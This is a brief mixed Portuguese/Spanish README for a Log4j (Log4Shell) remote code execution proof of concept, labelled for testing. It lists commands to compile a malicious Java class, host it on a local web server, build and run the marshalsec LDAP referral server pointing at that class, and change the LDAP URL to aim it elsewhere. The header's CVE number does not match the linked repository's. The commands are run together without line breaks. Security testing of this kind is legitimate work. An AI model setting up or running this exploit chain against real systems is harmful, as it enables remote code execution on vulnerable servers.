
PoC RCE Log4j CVE-2021-4428 para pruebas
Compilar Log4jRCE.java e mover o arquivo .class para um servidor web (ex: PHP local)
cd src/main/javajavac Log4jRCE.javaphp -S 127.0.0.1:8888Iniciar servidor LDAP
git clone [email protected]:Grupo-Kapa-7/marshalsec.gitcd marshalsecmvn clean package -DskipTestsjava -cp target/marshalsec-0.0.3-SNAPSHOT-GK7Threats-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"Para testar a PoC, modificar o arquivo src/main/java/log4j.java e alterar a URL do servidor LDAP conforme desejado.
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce